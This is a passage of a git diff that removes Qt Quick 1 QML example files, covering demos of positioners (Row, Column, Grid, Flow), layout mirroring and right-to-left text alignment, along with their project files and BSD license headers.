OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - - property string text - property string icon - signal clicked - - border.color: "black"; color: "steelblue"; radius: 5 - width: pix.width + textelement.width + 13 - height: pix.height + 10 - - Image { id: pix; x: 5; y:5; source: parent.icon } - - Text { - id: textelement - text: page.text; color: "white" - x: pix.width + pix.x + 3 - anchors.verticalCenter: pix.verticalCenter - } - - MouseArea { - id: mr - anchors.fill: parent - onClicked: { parent.focus = true; page.clicked() } - } - - states: State { - name: "pressed"; when: mr.pressed - PropertyChanges { target: textelement; x: 5 } - PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 } - } - - transitions: Transition { - NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 } - } -} diff --git a/examples/declarative/qtquick1/positioners/add.png b/examples/declarative/qtquick1/positioners/add.png deleted file mode 100644 index 1ee45423e3..0000000000 Binary files a/examples/declarative/qtquick1/positioners/add.png and /dev/null differ diff --git a/examples/declarative/qtquick1/positioners/del.png b/examples/declarative/qtquick1/positioners/del.png deleted file mode 100644 index 8d2eaed523..0000000000 Binary files a/examples/declarative/qtquick1/positioners/del.png and /dev/null differ diff --git a/examples/declarative/qtquick1/positioners/positioners.qml b/examples/declarative/qtquick1/positioners/positioners.qml deleted file mode 100644 index 26a8266158..0000000000 --- a/examples/declarative/qtquick1/positioners/positioners.qml +++ /dev/null @@ -1,253 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 420; height: 420 - - Column { - id: layout1 - y: 0 - move: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "y"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV1 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueV2 - width: 100; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 } - } - - Row { - id: layout2 - y: 300 - move: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutBounce } - } - add: Transition { - NumberAnimation { properties: "x"; easing.type: Easing.OutQuad } - } - - Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH1 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 } - - Rectangle { - id: blueH2 - width: 50; height: 100 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 } - } - - Button { - x: 135; y: 90 - text: "Remove" - icon: "del.png" - - onClicked: { - blueH2.opacity = 0 - blueH1.opacity = 0 - blueV1.opacity = 0 - blueV2.opacity = 0 - blueG1.opacity = 0 - blueG2.opacity = 0 - blueG3.opacity = 0 - blueF1.opacity = 0 - blueF2.opacity = 0 - blueF3.opacity = 0 - } - } - - Button { - x: 145; y: 140 - text: "Add" - icon: "add.png" - - onClicked: { - blueH2.opacity = 1 - blueH1.opacity = 1 - blueV1.opacity = 1 - blueV2.opacity = 1 - blueG1.opacity = 1 - blueG2.opacity = 1 - blueG3.opacity = 1 - blueF1.opacity = 1 - blueF2.opacity = 1 - blueF3.opacity = 1 - } - } - - Grid { - x: 260; y: 0 - columns: 3 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG1 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG2 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueG3 - width: 50; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 } - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - } - - Flow { - id: layout4 - x: 260; y: 250; width: 150 - - move: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - add: Transition { - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce } - } - - Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF1 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF2 - width: 60; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 } - - Rectangle { - id: blueF3 - width: 40; height: 50 - color: "lightsteelblue" - border.color: "black" - radius: 15 - Behavior on opacity { NumberAnimation {} } - } - - Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 } - } - -} diff --git a/examples/declarative/qtquick1/positioners/positioners.qmlproject b/examples/declarative/qtquick1/positioners/positioners.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/positioners/positioners.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/qtquick1.pro b/examples/declarative/qtquick1/qtquick1.pro deleted file mode 100644 index 296637a6e0..0000000000 --- a/examples/declarative/qtquick1/qtquick1.pro +++ /dev/null @@ -1,26 +0,0 @@ -TEMPLATE = subdirs - -# These examples contain some C++ and need to be built -SUBDIRS = \ - cppextensions \ - modelviews \ - tutorials - -# These examples contain no C++ and can simply be copied -sources.files = \ - animation \ - cppextensions \ - i18n \ - imageelements \ - keyinteraction \ - positioners \ - sqllocalstorage \ - text \ - threading \ - touchinteraction \ - toys \ - ui-components \ - xml - -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative -INSTALLS += sources diff --git a/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qml b/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qml deleted file mode 100644 index 58c236c007..0000000000 --- a/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qml +++ /dev/null @@ -1,256 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.1 - -Rectangle { - id: root - property bool mirror - property int direction: Qt.application.layoutDirection - LayoutMirroring.enabled: mirror - LayoutMirroring.childrenInherit: true - width: column.width + 80 - height: column.height + 40 - Column { - id: column - width: 190 - spacing: 10 - anchors.centerIn: parent - - Text { - text: "Row" - anchors.horizontalCenter: parent.horizontalCenter - } - - Row { - layoutDirection: root.direction - spacing: 10 - move: Transition { - NumberAnimation { - properties: "x" - } - } - Repeater { - model: 4 - Loader { - property int value: index - sourceComponent: positionerDelegate - } - } - } - - Text { - text: "Grid" - anchors.horizontalCenter: parent.horizontalCenter - } - - Grid { - layoutDirection: root.direction - spacing: 10; columns: 4 - move: Transition { - NumberAnimation { - properties: "x" - } - } - Repeater { - model: 11 - Loader { - property int value: index - sourceComponent: positionerDelegate - } - } - } - - Text { - text: "Flow" - anchors.horizontalCenter: parent.horizontalCenter - } - - Flow { - layoutDirection: root.direction - spacing: 10; width: parent.width - move: Transition { - NumberAnimation { - properties: "x" - } - } - Repeater { - model: 10 - Loader { - property int value: index - sourceComponent: positionerDelegate - } - } - } - - Text { - text: "ListView" - anchors.horizontalCenter: parent.horizontalCenter - } - - ListView { - id: listView - clip: true - width: parent.width; height: 40 - layoutDirection: root.direction - orientation: Qt.Horizontal - model: 48 - delegate: viewDelegate - } - - Text { - text: "GridView" - anchors.horizontalCenter: parent.horizontalCenter - } - - GridView { - clip: true - width: 200; height: 160 - cellWidth: 50; cellHeight: 50 - layoutDirection: root.direction - model: 48 - delegate: viewDelegate - } - - Rectangle { - height: 50; width: parent.width - color: mouseArea.pressed ? "black" : "gray" - Column { - anchors.centerIn: parent - Text { - text: root.direction ? "Right to left" : "Left to right" - color: "white" - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "(click here to toggle)" - color: "white" - font.pixelSize: 10 - font.italic: true - anchors.horizontalCenter: parent.horizontalCenter - } - } - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: { - if (root.direction == Qt.LeftToRight) { - root.direction = Qt.RightToLeft; - } else { - root.direction = Qt.LeftToRight; - } - } - } - } - - Rectangle { - height: 50; width: parent.width - color: mouseArea2.pressed ? "black" : "gray" - Column { - anchors.centerIn: parent - Text { - text: root.mirror ? "Mirrored" : "Not mirrored" - color: "white" - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "(click here to toggle)" - color: "white" - font.pixelSize: 10 - font.italic: true - anchors.horizontalCenter: parent.horizontalCenter - } - } - MouseArea { - id: mouseArea2 - anchors.fill: parent - onClicked: { - root.mirror = !root.mirror; - } - } - } - } - - Component { - id: positionerDelegate - Rectangle { - width: 40; height: 40 - color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0) - Text { - text: parent.parent.value+1 - color: "white" - font.pixelSize: 18 - anchors.centerIn: parent - } - } - } - Component { - id: viewDelegate - Item { - function effectiveLayoutDirection() { - if (LayoutMirroring.enabled) - if (listView.layoutDirection == Qt.LeftToRight) - return Qt.RightToLeft; - else - return Qt.LeftToRight; - else - return listView.layoutDirection; - } - - width: (effectiveLayoutDirection() == Qt.LeftToRight ? (index == 48 - 1) : (index == 0)) ? 40 : 50 - Rectangle { - width: 40; height: 40 - color: Qt.rgba(0.5+(48 - index)*Math.random()/48, - 0.3+index*Math.random()/48, - 0.3*Math.random(), - 1.0) - Text { - text: index+1 - color: "white" - font.pixelSize: 18 - anchors.centerIn: parent - } - } - } - } -} - diff --git a/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qmlproject b/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qmlproject deleted file mode 100644 index 33cbb3c9e2..0000000000 --- a/examples/declarative/qtquick1/righttoleft/layoutdirection/layoutdirection.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "layoutdirection.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qml b/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qml deleted file mode 100644 index 21716f9058..0000000000 --- a/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qml +++ /dev/null @@ -1,313 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.1 - -Rectangle { - id: root - property bool mirror: Qt.application.layoutDirection == Qt.RightToLeft - LayoutMirroring.enabled: mirror - LayoutMirroring.childrenInherit: true - width: 400 - height: 875 - color: "lightsteelblue" - - Column { - spacing: 10 - anchors { left: parent.left; right: parent.right; top: parent.top; margins: 10 } - - Text { - text: "Positioners" - anchors.left: parent.left - } - - Column { - id: positioners - spacing: 5 - anchors.left: parent.left - Row { - id: row - spacing: 4 - property string text: "THISISROW" - anchors.left: parent.left - Repeater { - model: parent.text.length - delegate: positionerDelegate - } - } - Flow { - id: flow - spacing: 4 - width: 90 - property string text: "THISISFLOW" - anchors.left: parent.left - Repeater { - model: parent.text.length - delegate: positionerDelegate - } - } - Grid { - id: grid - spacing: 4 - columns: 6 - property string text: "THISISGRID" - anchors.left: parent.left - Repeater { - model: parent.text.length - delegate: positionerDelegate - } - } - Component { - id: positionerDelegate - Text { - color: "white" - font.pixelSize: 20 - text: parent.text[index] - Rectangle { - z: -1 - opacity: 0.7 - color: "black" - anchors.fill: parent - } - } - } - } - - Text { - text: "Text alignment" - anchors.left: parent.left - } - - Rectangle { - id: textStrings - width: 148 - height: 85 - color: "white" - anchors.left: parent.left - Column { - spacing: 5 - width: parent.width - anchors { fill: parent; margins: 5 } - Text { - id: englishText - width: parent.width - text: "English text" - } - Text { - id: arabicText - width: parent.width - text: "النص العربي" - } - Text { - id: leftAlignedText - width: parent.width - text: "Text aligned to left" - horizontalAlignment: Text.AlignLeft - } - Text { - id: rightAlignedText - width: parent.width - text: "Text aligned to right" - horizontalAlignment: Text.AlignRight - } - } - } - - Text { - text: "Model views" - anchors.left: parent.left - } - - Column { - id: views - spacing: 10 - anchors.left: parent.left - ListView { - id: listView - z: -1 - clip: true - model: text.length - width: 360; height: 45 - orientation: Qt.Horizontal - property string text: "LISTVIEWLISTVIEWLISTVIEWLISTVIEWLISTVIEWLISTVIEW" - delegate: Rectangle { - color: "black" - width: 45; height: 45 - Rectangle { - anchors { fill: parent; margins: 1 } - color: "red" - } - Text { - text: listView.text[index] - font.pixelSize: 30 - anchors.centerIn: parent - } - } - } - GridView { - id: gridView - z: -1 - clip: true - model: text.length - width: 180; height: 90 - cellWidth: 45; cellHeight: 45 - property string text: "GRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEWGRIDVIEW" - anchors.left: parent.left - delegate: Rectangle { - color: "black" - width: 45; height: 45 - Rectangle { - anchors { fill: parent; margins: 1 } - color: "red" - } - Text { - anchors.centerIn: parent - font.pixelSize: 30 - text: gridView.text[index] - } - } - } - } - - Text { - text: "Item x" - anchors.left: parent.left - } - Rectangle { - id: items - color: Qt.rgba(0.2, 0.2, 0.2, 0.6) - width: 275; height: 95 - anchors.left: parent.left - Rectangle { - y: 5; x: 5 - width: 130; height: 40 - Text { - text: "Item with x: 5\n(not mirrored)" - anchors.centerIn: parent - } - } - Rectangle { - color: Qt.rgba(0.7, 0.7, 0.7) - y: 50; x: mirror(5) - width: 130; height: 40 - function mirror(value) { - return LayoutMirroring.enabled ? (parent.width - width - value) : value; - } - Text { - text: "Item with x: " + parent.x + "\n(manually mirrored)" - anchors.centerIn: parent - } - } - } - Text { - text: "Item anchors" - anchors.left: parent.left - } - - Rectangle { - id: anchoredItems - color: Qt.rgba(0.2, 0.2, 0.2, 0.6) - width: 270; height: 170 - anchors.left: parent.left - Rectangle { - id: blackRectangle - color: "black" - width: 180; height: 90 - anchors { horizontalCenter: parent.horizontalCenter; horizontalCenterOffset: 30 } - Text { - text: "Horizontal center anchored\nwith offset 30\nto the horizontal center\nof the parent." - color: "white" - anchors.centerIn: parent - } - } - Rectangle { - id: whiteRectangle - color: "white" - width: 120; height: 70 - anchors { left: parent.left; bottom: parent.bottom } - Text { - text: "Left side anchored\nto the left side\nof the parent." - color: "black" - anchors.centerIn: parent - } - } - Rectangle { - id: grayRectangle - color: Qt.rgba(0.7, 0.7, 0.7) - width: 140; height: 90 - anchors { right: parent.right; bottom: parent.bottom } - Text { - text: "Right side anchored\nto the right side\nof the parent." - anchors.centerIn: parent - } - } - } - Rectangle { - id: mirrorButton - color: mouseArea2.pressed ? "black" : "gray" - height: 50; width: parent.width - anchors.left: parent.left - Column { - anchors.centerIn: parent - Text { - text: root.mirror ? "Mirrored" : "Not mirrored" - color: "white" - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "(click here to toggle)" - color: "white" - font.pixelSize: 10 - font.italic: true - anchors.horizontalCenter: parent.horizontalCenter - } - } - MouseArea { - id: mouseArea2 - anchors.fill: parent - onClicked: { - root.mirror = !root.mirror; - } - } - } - } -} - diff --git a/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qmlproject b/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qmlproject deleted file mode 100644 index 72bc04a8a9..0000000000 --- a/examples/declarative/qtquick1/righttoleft/layoutmirroring/layoutmirroring.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "layoutmirroring.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qml b/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qml deleted file mode 100644 index bb5c286911..0000000000 --- a/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qml +++ /dev/null @@ -1,426 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.1 - -Rectangle { - id: root - color: "white" - width: containerColumn.width - height: containerColumn.height + containerColumn.anchors.topMargin - - property bool mirror: false - property variant horizontalAlignment: undefined - - property variant editorType: ["Plain Text", "Styled Text", "Plain Rich Text", "Italic Rich Text", "Plain TextEdit", "Italic TextEdit", "TextInput"] - property variant text: ["", " ", "Hello world!", "مرحبا العالم!", "Hello world! Hello!\nHello world! Hello!", "مرحبا العالم! مرحبا! مرحبا العالم! مرحبا!" ,"مرحبا العالم! مرحبا! مرحبا Hello world!\nالعالم! مرحبا!"] - property variant description: ["empty text", "white-space-only text", "left-to-right text", "right-to-left text", "multi-line left-to-right text", "multi-line right-to-left text", "multi-line bidi text"] - property variant textComponents: [plainTextComponent, styledTextComponent, richTextComponent, italicRichTextComponent, plainTextEdit, italicTextEdit, textInput] - - function shortText(horizontalAlignment) { - - // all the different QML editors have - // the same alignment values - switch (horizontalAlignment) { - case Text.AlignLeft: - return "L"; - case Text.AlignRight: - return "R"; - case Text.AlignHCenter: - return "C"; - case Text.AlignJustify: - return "J"; - default: - return "Error"; - } - } - Column { - id: containerColumn - spacing: 10 - width: editorTypeRow.width - anchors { top: parent.top; topMargin: 5 } - Row { - id: editorTypeRow - Repeater { - model: editorType.length - Item { - width: editorColumn.width - height: editorColumn.height - Column { - id: editorColumn - spacing: 5 - width: textColumn.width+10 - Text { - text: root.editorType[index] - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Column { - id: textColumn - spacing: 5 - anchors.horizontalCenter: parent.horizontalCenter - Repeater { - model: textComponents.length - delegate: textComponents[index] - } - } - } - } - } - } - Column { - spacing: 2 - width: parent.width - Rectangle { - // button - height: 50; width: parent.width - color: mouseArea.pressed ? "black" : "lightgray" - Column { - anchors.centerIn: parent - Text { - text: root.mirror ? "Mirrored" : "Not mirrored" - color: "white" - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "(click here to toggle)" - color: "white" - font.pixelSize: 10 - font.italic: true - anchors.horizontalCenter: parent.horizontalCenter - } - } - MouseArea { - id: mouseArea - property int index: 0 - anchors.fill: parent - onClicked: root.mirror = !root.mirror - } - } - Rectangle { - // button - height: 50; width: parent.width - color: mouseArea2.pressed ? "black" : "gray" - Column { - anchors.centerIn: parent - Text { - text: { - if (root.horizontalAlignment == undefined) - return "Implict alignment"; - switch (root.horizontalAlignment) { - case Text.AlignLeft: - return "Left alignment"; - case Text.AlignRight: - return "Right alignment"; - case Text.AlignHCenter: - return "Center alignment"; - case Text.AlignJustify: - return "Justify alignment"; - } - } - color: "white" - font.pixelSize: 16 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "(click here to toggle)" - color: "white" - font.pixelSize: 10 - font.italic: true - anchors.horizontalCenter: parent.horizontalCenter - } - } - MouseArea { - id: mouseArea2 - property int index: 0 - anchors.fill: parent - onClicked: { - if (index < 0) { - root.horizontalAlignment = undefined; - } else { - root.horizontalAlignment = Math.pow(2, index); - } - index = (index + 2) % 5 - 1; - } - } - } - } - } - - Component { - id: plainTextComponent - Text { - width: 180 - text: root.text[index] - font.pixelSize: 24 - wrapMode: Text.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - textFormat: Text.RichText - Rectangle { - z: -1 - color: Qt.rgba(0.8, 0.2, 0.2, 0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: styledTextComponent - Text { - width: 180 - text: root.text[index] - font.pixelSize: 24 - wrapMode: Text.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - textFormat: Text.RichText - style: Text.Sunken - styleColor: "white" - Rectangle { - z: -1 - color: Qt.rgba(0.8, 0.2, 0.2, 0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: richTextComponent - Text { - width: 180 - text: root.text[index] - font.pixelSize: 24 - wrapMode: Text.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - textFormat: Text.RichText - Rectangle { - z: -1 - color: Qt.rgba(0.8, 0.2, 0.2, 